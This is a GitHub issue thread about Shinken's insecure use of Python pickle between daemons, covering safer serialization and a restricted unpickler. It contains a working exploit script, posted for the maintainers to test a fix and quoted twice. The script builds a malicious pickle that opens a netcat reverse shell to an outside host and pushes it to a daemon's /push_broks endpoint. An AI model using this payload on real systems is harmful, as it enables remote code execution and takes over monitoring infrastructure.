Use msgpack or similar for inter-process communication

[leoluk]

Python's pickle data serialization format is insecure - its use for inter-process communication in Shinken allows one component (for example a poller/satellite) to execute arbitrary code in other component's contexts. This is unfortunate, since Shinken would otherwise nicely isolate different components. It's even advertised as a solution for secure DMZ monitoring, but right now, if a DMZ poller is compromised, the master can easily be compromised as well.

Example: https://github.com/naparuba/shinken/blob/c6c354fb589959afb9e1da3ed28bbe2f9396a84a/shinken/scheduler.py#L890

This article provides a good overview: http://www.benfrederickson.com/dont-pickle-your-data/

msgpack would not only be faster, but also much more secure. The only downside is that it requires all data to be JSON - I'm not familiar with Shinken's internal data structures, but if pickle is currently used to send Python objects, switching to a different serialization format is probably going to require major refactoring.

[Seb-Solon]

Hi,

Thanks for the notice, we are aware of that since it's specified in python doc to not unpickle untrusted data.

The thing is, if you want trusted data you should configure your firewall at least and active ssl between daemons. In the hypothesis you have a DMZ poller hacked, I guess you have a bigger problem here. A DMZ poller should not be able to talk directly to a master as there is a passive mode for DMZ. In this case the master (scheduler for check result) initiates the connection so a direct push with a bad pickle content is more complicated (because obviously if you can run your poller with a python debugger you can create a bad answer packet).

Anyway, replace pickle is IMO a good thing to think about but yeah it wont be easy. Pickle gives you python objects and method with attributes and links between them. Json only offers key/value so that we cannot export functions easily. This is the major refactoring you were pointing at ;)

[naparuba]

True, but I think msgpack will be slower and will ask a huge refactorization/job, and so will be prone to errors/regressions.

If I'm not wrong I did saw in the past a securized unpickle implementation in graphite (carbon). Should be a easier method to securize this part, and won't be as dangerous for regressions than switching to json (you loose class and such things, and messages are bigger as you can have string for keys, etc etc).

We can give a look for 2.6 I think, should not be a huge work to import from carbon as far as I can remember :)

On Wed, Apr 29, 2015 at 8:29 PM, Sébastien Coavoux <notifications@github.com

wrote:

Hi,

Thanks for the notice, we are aware of that since it's specified in python doc to not unpickle untrusted data.

The thing is, if you want trusted data you should configure your firewall at least and active ssl between daemons. In the hypothesis you have a DMZ poller hacked, I guess you have a bigger problem here. A DMZ poller should not be able to talk directly to a master as there is a passive mode for DMZ. In this case the master (scheduler for check result) initiates the connection so a direct push with a bad pickle content is more complicated (because obviously if you can run your poller with a python debugger you can create a bad answer packet).

Anyway, replace pickle is IMO a good thing to think about but yeah it wont be easy. Pickle gives you python objects and method with attributes and links between them. Json only offers key/value so that we cannot export functions easily. This is the major refactoring you were pointing at ;)

— Reply to this email directly or view it on GitHub https://github.com/naparuba/shinken/issues/1600#issuecomment-97533284.

[naparuba]

founded it :) https://github.com/graphite-project/carbon/blob/01062f182ddc75081f16f53a674213059cc044dd/lib/carbon/util.py#L114

But contrary to graphite, we should choose to enable it always even if perf are dropping (but how many that is the question :) ).

On Wed, Apr 29, 2015 at 8:51 PM, nap naparuba@gmail.com wrote:

True, but I think msgpack will be slower and will ask a huge refactorization/job, and so will be prone to errors/regressions.

If I'm not wrong I did saw in the past a securized unpickle implementation in graphite (carbon). Should be a easier method to securize this part, and won't be as dangerous for regressions than switching to json (you loose class and such things, and messages are bigger as you can have string for keys, etc etc).

We can give a look for 2.6 I think, should not be a huge work to import from carbon as far as I can remember :)

On Wed, Apr 29, 2015 at 8:29 PM, Sébastien Coavoux < notifications@github.com> wrote:

Hi,

Thanks for the notice, we are aware of that since it's specified in python doc to not unpickle untrusted data.

The thing is, if you want trusted data you should configure your firewall at least and active ssl between daemons. In the hypothesis you have a DMZ poller hacked, I guess you have a bigger problem here. A DMZ poller should not be able to talk directly to a master as there is a passive mode for DMZ. In this case the master (scheduler for check result) initiates the connection so a direct push with a bad pickle content is more complicated (because obviously if you can run your poller with a python debugger you can create a bad answer packet).

Anyway, replace pickle is IMO a good thing to think about but yeah it wont be easy. Pickle gives you python objects and method with attributes and links between them. Json only offers key/value so that we cannot export functions easily. This is the major refactoring you were pointing at ;)

— Reply to this email directly or view it on GitHub https://github.com/naparuba/shinken/issues/1600#issuecomment-97533284.

[leoluk]

Modifying a poller to return malicious data would be trivial, so while I do agree that it's more difficult to exploit, it's still a significant risk.

Sometimes, you want to monitor a network which is less trusted than your master (imagine a group of machines hosted by a sketchy VPS provider), and having an isolated DMZ poller would be nice for these situations. Right now, deploying a poller in a untrusted environment is a security risk.

The safe unpickler you mentioned would (if I understand it correctly) not be practical, since it would be unsafe again as soon as you add more classes to the whitelist.

I do realize that replacing pickle would be a major undertaking, but if you want to approach this, I'd be happy to contribute.

In the meantime, the security risks should probably be documented.

[ppepos]

After playing a little bit with the "SafeUnpickler" proposed, I was unable to reproduce any working exploit with a good whitelist.

Here's what I went through:

1. Setup simple server/client with pickle and cPickle
2. Get working exploit (redef reduce of an unknown class to do whatever you like)
3. Implement a restricted unpickler as proposed in python doc here

This obviously fixes the basic exploit based on unknown class and reduce but I don't feel like the vulnerability is completely patched. Automagic behaviors with data received from the network is always sketchy. I would also suggest investigating alternatives to pickle as the current state of pickles in Shinken is most definitely an exploitable vulnerability. I have a working exploit from last summer somewhere on my hard drive if someone wants a peek at it.

Keep this discussion active... a healthy discussion for this project ;-)

[naparuba]

I'm interested by your exploits so we can built good test case around them and fix it :)

Hopefully all we need in pickle are "data", we don't need to export classes or even call function. So we can strip all that looklike a class or a function. (not an instance, but a real class object :) )

Can you send me such payload by mail? :+1:

[ppepos]

I can post it here:

import os
import zlib
import cPickle as pickle
import requests

HOST = "4.4.4.4"
PORT = 53
LOCALHOST = "8.8.8.8"
LOCALPORT = 4444

class SadPanda(object):
    def __reduce__(self):
        comm = "rm /tmp/shell; mknod /tmp/shell p; nc %s %s 0</tmp/shell | /bin/sh 1>/tmp/shell" % (LOCALHOST, LOCALPORT)
        return (os.system, (comm,))

def send_payload(payload):
    data = {"broks": payload}
    headers = {"User-Agent": "shinken:2.4-RC3 pycurl:7.35.0"}
    response = requests.post("http://%s:%s/push_broks" % (HOST, PORT), 
                             data=data, headers=headers)

def main():
    payload = SadPanda()
    payload = zlib.compress(pickle.dumps(payload))
    send_payload(payload)

if __name__ == "__main__":
    main()

:panda_face:

[naparuba]

Thanks a lot, i'll hunt it this evening and backport when possible to older versions :)

On Fri, May 8, 2015 at 4:50 PM, Philippe Pépos Petitclerc < notifications@github.com> wrote:

I can post it here:

import osimport zlibimport cPickle as pickleimport requests

HOST = "4.4.4.4" PORT = 53 LOCALHOST = "8.8.8.8" LOCALPORT = 4444

class SadPanda(object): def reduce(self): comm = "rm /tmp/shell; mknod /tmp/shell p; nc %s %s 0</tmp/shell | /bin/sh 1>/tmp/shell" % (LOCALHOST, LOCALPORT) return (os.system, (comm,))

def send_payload(payload): data = {"broks": payload} headers = {"User-Agent": "shinken:2.4-RC3 pycurl:7.35.0"} response = requests.post("http://%s:%s/push_broks" % (HOST, PORT), data=data, headers=headers)

def main(): payload = SadPanda() payload = zlib.compress(pickle.dumps(payload)) send_payload(payload)

if name == "main": main()

[image: :panda_face:]

— Reply to this email directly or view it on GitHub https://github.com/naparuba/shinken/issues/1600#issuecomment-100260016.

[naparuba]

cf https://github.com/naparuba/shinken/commit/60c257f679277453646520df9b715d7de9c1106c

about first test about it. I'll play a bit more with this class, and then we can hook the daemon pickle calls.

[naparuba]

first version available at https://github.com/naparuba/shinken/tree/safepickle

it avoid reduce thing. currently looking at performance issues (cpu on the broker especially)

[leoluk]

Additionally, it would make sense to add a config option to bind to unix domain sockets only accessible to the shinken user. Right now, any process running on the same system can access the different Shinken components at 127.0.0.1, breaking privilege separation.

[leoluk]

I think this should be documented, with a big fat warning - this is a substantial security issue which users need to be aware of.

[leoluk]

So... I found many insecure Shinken deployments (unencrypted and reachable from anywhere). I fully understand that this is not an easy fix - but it's an obvious and easily exploitable vulnerability.

If it's possible to insecurely deploy a service, it's a certainty that, sooner or later, people deploy it that way despite all warnings (examples: MongoDB, ElasticSearch...), probably by accident. I suggest that adjustments are made such that a default installation of Shinken does not expose exploitable services (for example by listening only to localhost).